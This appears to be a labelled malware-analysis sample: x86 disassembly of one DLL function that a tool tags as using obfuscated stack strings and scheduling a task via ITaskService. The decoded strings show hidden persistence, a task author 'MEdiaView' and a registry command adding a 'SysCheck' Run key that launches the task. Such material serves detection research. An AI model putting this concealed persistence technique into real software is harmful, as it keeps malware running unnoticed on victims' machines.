Function at 0x1000a4c0
Capabilities:
Contain obfuscated stackstrings
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003149e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1c0
push esi
push edi
push 0
mov dword [ebp - 0xf4], 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x1000a72c
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x1003332c
push 1
push 0
push 0x1003334c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1000a726
mov eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [eax]
mov esi, dword [eax + 0x28]
lea eax, [ebp - 0x130]
push eax
call edi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x140]
movups xmm0, xmmword [ebp - 0x130]
push eax
movups xmmword [ebp - 0x180], xmm0
call edi
movups xmm0, xmmword [ebp - 0x140]
lea eax, [ebp - 0x150]
push eax
movups xmmword [ebp - 0x170], xmm0
call edi
movups xmm0, xmmword [ebp - 0x150]
lea eax, [ebp - 0x160]
push eax
movups xmmword [ebp - 0x190], xmm0
call edi
mov byte [ebp - 4], 3
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x180]
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x170]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x190]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x160]
push dword [ebp - 0x14]
movups xmmword [eax], xmm0
call esi
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x160]
push eax
call edi
lea eax, [ebp - 0x150]
push eax
call edi
lea eax, [ebp - 0x140]
push eax
call edi
lea eax, [ebp - 0x130]
mov dword [ebp - 4], 0xffffffff
push eax
call edi
mov eax, dword [ebp - 0x14]
test esi, esi
js 0x1000a720
mov dword [ebp - 0x1c], 0
mov eax, dword [eax]
push 0xc
mov edi, dword [eax + 0x1c]
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 4
test esi, esi
je 0x1000a666
push 0x10039ee0
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000b3e6
jmp 0x1000a668
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1000b3f0
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 5
push eax
push dword [esi]
push dword [ebp - 0x14]
call edi
mov edi, eax
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000a6d5
mov ecx, dword [esi]
test ecx, ecx
je 0x1000a6b3
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000a6ca
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
test edi, edi
js 0x1000a71d
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x24]
test eax, eax
js 0x1000a714
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x64]
mov dword [ebp - 0x64], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x1c]
test eax, eax
jns 0x1000a744
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
xor eax, eax
mov dword [ebp - 0x44], 0x7263694d
xor edi, edi
mov dword [ebp - 0x40], 0x666f736f
lea edx, [ebp - 0x44]
mov dword [ebp - 0x3c], 0x49552074
lea esi, [ebp - 0x33]
mov dword [ebp - 0x38], 0x61727453
xor ecx, ecx
mov byte [ebp - 0x34], 0x79
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x148], edi
mov dword [ebp - 0x144], ecx
sub esi, edx
je 0x1000a7fd
cmp esi, 0x7fffffff
ja 0x1000b3fa
cmp esi, 0x1000
jb 0x1000a7c9
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000b3ff
push eax
call fcn.10011fb0
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x1000b418
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x1000a7d2
push esi
call fcn.10011fb0
add esp, 4
lea edi, [eax + esi]
mov dword [ebp - 0x6c], eax
mov ecx, edi
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x144], ecx
lea ecx, [ebp - 0x44]
push esi
push ecx
push eax
mov dword [ebp - 0x50], edi
call fcn.10013ad0
add esp, 0xc
mov dword [ebp - 0x148], edi
mov dword [ebp - 4], 6
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp - 0x6c]
xorps xmm0, xmm0
mov byte [ebp - 4], 7
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0xf4], 1
mov edx, 7
mov dword [ebp - 0x10c], edx
movups xmmword [ebp - 0x120], xmm0
mov word [ebp - 0x120], ax
cmp esi, edi
je 0x1000a8a9
nop word [eax + eax]
movsx ax, byte [esi]
movzx edi, ax
cmp ecx, edx
jae 0x1000a881
lea eax, [ecx + 1]
cmp edx, 7
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x120]
cmova eax, dword [ebp - 0x120]
xor edx, edx
mov word [eax + ecx*2], di
mov word [eax + ecx*2 + 2], dx
jmp 0x1000a895
push edi
mov byte [ebp - 0x5c], 0
push dword [ebp - 0x5c]
push ecx
lea ecx, [ebp - 0x120]
call fcn.10005e00
mov edx, dword [ebp - 0x10c]
inc esi
cmp esi, dword [ebp - 0x50]
je 0x1000a8a9
mov ecx, dword [ebp - 0x110]
jmp 0x1000a850
cmp edx, 7
lea edi, [ebp - 0x120]
push 0xc
cmova edi, dword [ebp - 0x120]
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 8
test esi, esi
je 0x1000a8f5
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x1000a8f7
test edi, edi
jne 0x1000b404
jmp 0x1000a8f7
xor esi, esi
mov byte [ebp - 4], 7
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1000b40e
mov byte [ebp - 4], 9
push dword [esi]
push dword [ebp - 0x64]
call dword [ebp - 0x2c]
mov edi, eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000a954
mov ecx, dword [esi]
test ecx, ecx
je 0x1000a932
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000a949
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x10c]
cmp ecx, 7
jbe 0x1000a998
mov edx, dword [ebp - 0x120]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000a98e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b418
push ecx
push edx
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test edi, edi
js 0x1000abf1
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x24]
test eax, eax
js 0x1000abf1
mov ecx, dword [ebp - 0x28]
lea edx, [ebp - 0x30]
push edx
mov dword [ebp - 0x30], 0
push 1
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
test eax, eax
js 0x1000abe8
mov ecx, dword [ebp - 0x30]
lea edx, [ebp - 0x68]
push edx
mov dword [ebp - 0x68], 0
push 0x1003333c
mov eax, dword [ecx]
push ecx
call dword [eax]
test eax, eax
js 0x1000abdf
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp - 0xf8]
add eax, 0x1e
movzx ecx, ax
mov word [ebp - 0xf8], ax
cmp ecx, 0x3c
jb 0x1000aa44
lea eax, [ecx - 0x3c]
mov cx, word [ebp - 0xfa]
inc cx
mov word [ebp - 0xf8], ax
mov word [ebp - 0xfa], cx
jmp 0x1000aa4b
mov cx, word [ebp - 0xfa]
cmp cx, 0x3c
jb 0x1000aa72
mov edx, 0xffc4
add cx, dx
mov dx, word [ebp - 0xfc]
inc dx
mov word [ebp - 0xfa], cx
mov word [ebp - 0xfc], dx
jmp 0x1000aa79
mov dx, word [ebp - 0xfc]
movzx eax, ax
push eax
movzx eax, cx
push eax
movzx eax, dx
push eax
movzx eax, word [ebp - 0xfe]
push eax
movzx eax, word [ebp - 0x102]
push eax
movzx eax, word [ebp - 0x104]
push eax
lea eax, [ebp - 0x1cc]
push str._04d__02d__02dT_02d:_02d:_02d
push eax
call fcn.1000bef0
mov eax, dword [ebp - 0x68]
push 0xc
mov eax, dword [eax]
mov edi, dword [eax + 0x3c]
call fcn.10011fb0
mov esi, eax
add esp, 0x24
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 0xa
test esi, esi
je 0x1000aaf4
lea eax, [ebp - 0x1cc]
mov dword [esi + 4], 0
push eax
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000b41d
jmp 0x1000aaf6
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1000b427
mov byte [ebp - 4], 0xb
push dword [esi]
push dword [ebp - 0x68]
call edi
mov edi, eax
mov byte [ebp - 4], 6
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000ab56
mov ecx, dword [esi]
test ecx, ecx
je 0x1000ab34
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000ab4b
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test edi, edi
js 0x1000abdf
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0xec]
mov dword [ebp - 0xec], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x44]
test eax, eax
js 0x1000abdf
mov ecx, dword [ebp - 0xec]
lea edx, [ebp - 0xf0]
push edx
mov dword [ebp - 0xf0], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x30]
mov ecx, dword [ebp - 0xec]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x1000abdf
mov ecx, dword [ebp - 0xf0]
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], 0
push str.MbLk
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0xf0]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x1000ac1c
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x1000b39a
xor eax, eax
mov dword [ebp - 0xe8], 0x20444441
xor edi, edi
mov dword [ebp - 0xe4], 0x434b4822
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xe0], 0x4f535c55
lea esi, [ebp - 0x75]
mov dword [ebp - 0xdc], 0x41575446
mov dword [ebp - 0xd8], 0x4d5c4552
mov dword [ebp - 0xd4], 0x6f726369
mov dword [ebp - 0xd0], 0x74666f73
mov dword [ebp - 0xcc], 0x6e69575c
mov dword [ebp - 0xc8], 0x73776f64
mov dword [ebp - 0xc4], 0x7275435c
mov dword [ebp - 0xc0], 0x746e6572
mov dword [ebp - 0xbc], 0x73726556
mov dword [ebp - 0xb8], 0x5c6e6f69
mov dword [ebp - 0xb4], 0x226e7552
mov dword [ebp - 0xb0], 0x20562f20
mov dword [ebp - 0xac], 0x73795322
mov dword [ebp - 0xa8], 0x63656843
mov dword [ebp - 0xa4], 0x2f20226b
mov dword [ebp - 0xa0], 0x45522074
mov dword [ebp - 0x9c], 0x5a535f47
mov dword [ebp - 0x98], 0x20462f20
mov dword [ebp - 0x94], 0x2220442f
mov dword [ebp - 0x90], 0x74686373
mov dword [ebp - 0x8c], 0x736b7361
mov dword [ebp - 0x88], 0x75722f20
mov dword [ebp - 0x84], 0x742f206e
mov dword [ebp - 0x80], 0x7953206e
mov dword [ebp - 0x7c], 0x65684373
mov word [ebp - 0x78], 0x6b63
mov byte [ebp - 0x76], 0x22
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
sub esi, ecx
je 0x1000add9
cmp esi, 0x7fffffff
ja 0x1000b431
cmp esi, 0x1000
jb 0x1000ad9f
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000b436
push eax
call fcn.10011fb0
add esp, 4
test eax, eax
je 0x1000b418
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [ebp - 0x5c], edi
mov dword [edi - 4], eax
jmp 0x1000adad
push esi
call fcn.10011fb0
add esp, 4
mov dword [ebp - 0x5c], eax
mov edi, eax
lea eax, [edi + esi]
mov dword [ebp - 0x13c], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0xe8]
push esi
push eax
push edi
call fcn.10013ad0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
mov dword [ebp - 0x138], eax
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x4c]
xor eax, eax
mov word [ebp - 0x4c], 0x4552
lea esi, [ebp - 0x49]
mov byte [ebp - 0x4a], 0x47
xor ecx, ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
sub esi, edx
je 0x1000ae7f
cmp esi, 0x7fffffff
ja 0x1000b43b
cmp esi, 0x1000
jb 0x1000ae4a
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000b440
push eax
call fcn.10011fb0
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x1000b418
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x1000ae53
push esi
call fcn.10011fb0
add esp, 4
lea ecx, [eax + esi]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0x4c]
push esi
push ecx
push eax
mov dword [ebp - 0x12c], eax
call fcn.10013ad0
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 0xe
xorps xmm0, xmm0
mov esi, dword [ebp - 0x50]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x38], ecx
mov edx, 7
mov dword [ebp - 0xf4], 2
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x34], edx
mov word [ebp - 0x48], ax
cmp esi, dword [ebp - 0x24]
je 0x1000af0f
mov edi, dword [ebp - 0x24]
nop dword [eax]
movsx ax, byte [esi]
movzx eax, ax
mov dword [ebp - 0x24], eax
cmp ecx, edx
jae 0x1000aeee
lea eax, [ecx + 1]
cmp edx, 7
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x48]
cmova eax, dword [ebp - 0x48]
mov word [eax + ecx*2], dx
xor edx, edx
mov word [eax + ecx*2 + 2], dx
jmp 0x1000aeff
push eax
mov byte [ebp - 0x60], 0
push dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x48]
call fcn.10005e00
mov edx, dword [ebp - 0x34]
inc esi
cmp esi, edi
je 0x1000af0c
mov ecx, dword [ebp - 0x38]
jmp 0x1000aec0
mov edi, dword [ebp - 0x5c]
cmp edx, 7
lea eax, [ebp - 0x48]
push 0xc
cmova eax, dword [ebp - 0x48]
mov dword [ebp - 0x24], eax
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 0xf
test esi, esi
je 0x1000af5b
push dword [ebp - 0x24]
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x1000af5d
cmp dword [ebp - 0x24], eax
jne 0x1000b445
jmp 0x1000af5d
xor esi, esi
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1000b44f
mov byte [ebp - 4], 0x10
push dword [esi]
push dword [ebp - 0x58]
call dword [ebp - 0x54]
mov dword [ebp - 0x20], eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000afbb
mov ecx, dword [esi]
test ecx, ecx
je 0x1000af99
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000afb0
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x34]
cmp ecx, 7
jbe 0x1000aff9
mov edx, dword [ebp - 0x48]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000afef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b459
push ecx
push edx
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov esi, dword [eax + 0x34]
mov dword [ebp - 0x60], esi
mov byte [ebp - 4], 0x11
xor ecx, ecx
xorps xmm0, xmm0
mov edx, 0xf
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x48], cl
mov dword [ebp - 0xf4], 4
cmp edi, dword [ebp - 0x2c]
je 0x1000b07f
mov esi, edi
mov edi, dword [ebp - 0x2c]
mov al, byte [esi]
mov byte [ebp - 0x2c], al
cmp ecx, edx
jae 0x1000b059
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x48]
cmova eax, dword [ebp - 0x48]
add eax, ecx
mov cl, byte [ebp - 0x2c]
mov byte [eax + 1], 0
mov byte [eax], cl
jmp 0x1000b06c
push dword [ebp - 0x2c]
mov byte [ebp - 0x54], 0
push dword [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x48]
call fcn.10007820
mov edx, dword [ebp - 0x34]
inc esi
cmp esi, edi
je 0x1000b079
mov ecx, dword [ebp - 0x38]
jmp 0x1000b033
mov edi, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x60]
cmp edx, 0xf
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x24]
cmova eax, dword [ebp - 0x48]
push eax
call fcn.10008c30
mov byte [ebp - 4], 0x12
mov eax, dword [eax]
test eax, eax
je 0x1000b0a0
mov eax, dword [eax]
jmp 0x1000b0a2
xor eax, eax
push eax
push dword [ebp - 0x58]
call esi
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x1000b0fa
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000b0f3
test esi, esi
je 0x1000b0f3
mov eax, dword [esi]
test eax, eax
je 0x1000b0d1
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000b0e8
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov dword [ebp - 0x24], 0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x34]
cmp ecx, 0xf
jbe 0x1000b132
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000b128
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b45e
push ecx
push edx
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x20], 0
jge 0x1000b17e
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x1000b32f
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x108], 0
push 0x10039ee4
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov dword [ebp - 0x54], eax
mov eax, 8
mov word [ebp - 0x160], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x158], eax
test eax, eax
je 0x1000b463
movups xmm0, xmmword [ebp - 0x160]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x180]
push eax
movups xmmword [ebp - 0x190], xmm0
call esi
movups xmm0, xmmword [ebp - 0x180]
lea eax, [ebp - 0x170]
push eax
movups xmmword [ebp - 0x118], xmm0
call esi
mov byte [ebp - 4], 0x15
movups xmm0, xmmword [ebp - 0x170]
mov eax, dword [ebp - 0x18]
push 0xc
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x20], eax
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x60], esi
mov byte [ebp - 4], 0x16
test esi, esi
je 0x1000b23d
push str.MEdiaView
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000b46d
jmp 0x1000b23f
xor esi, esi
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x60], esi
test esi, esi
je 0x1000b477
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x108]
movups xmm0, xmmword [ebp - 0x190]
push eax
sub esp, 0x10
mov eax, esp
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x118]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x40]
push 6
push dword [ebp - 0x20]
movups xmmword [eax], xmm0
push dword [esi]
push dword [ebp - 0x1c]
call dword [ebp - 0x54]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000b2d2
mov eax, dword [esi]
test eax, eax
je 0x1000b2b0
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000b2c7
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x170]
push eax
call esi
lea eax, [ebp - 0x180]
push eax
call esi
lea eax, [ebp - 0x160]
mov byte [ebp - 4], 0xd
push eax
call esi
mov eax, dword [ebp - 0x108]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov ecx, dword [ebp - 0x50]
test ecx, ecx
je 0x1000b366
mov edx, dword [ebp - 0x124]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000b35c
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b481
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x1000b39a
mov ecx, dword [ebp - 0x134]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000b390
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b481
push ecx
push edi
call fcn.10011fa2
add esp, 8
mov ecx, dword [ebp - 0x6c]
test ecx, ecx
je 0x1000b3d1
mov edx, dword [ebp - 0x144]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000b3c7
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b481
push edx
push ecx
call fcn.10011fa2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
call fcn.10005830
call fcn.10008940
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
call fcn.1001720f
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
call fcn.10005830
call fcn.10008940
call fcn.10005830
call fcn.10008940
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
call fcn.1001720f
call fcn.1001720f
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
call fcn.1001720f
int3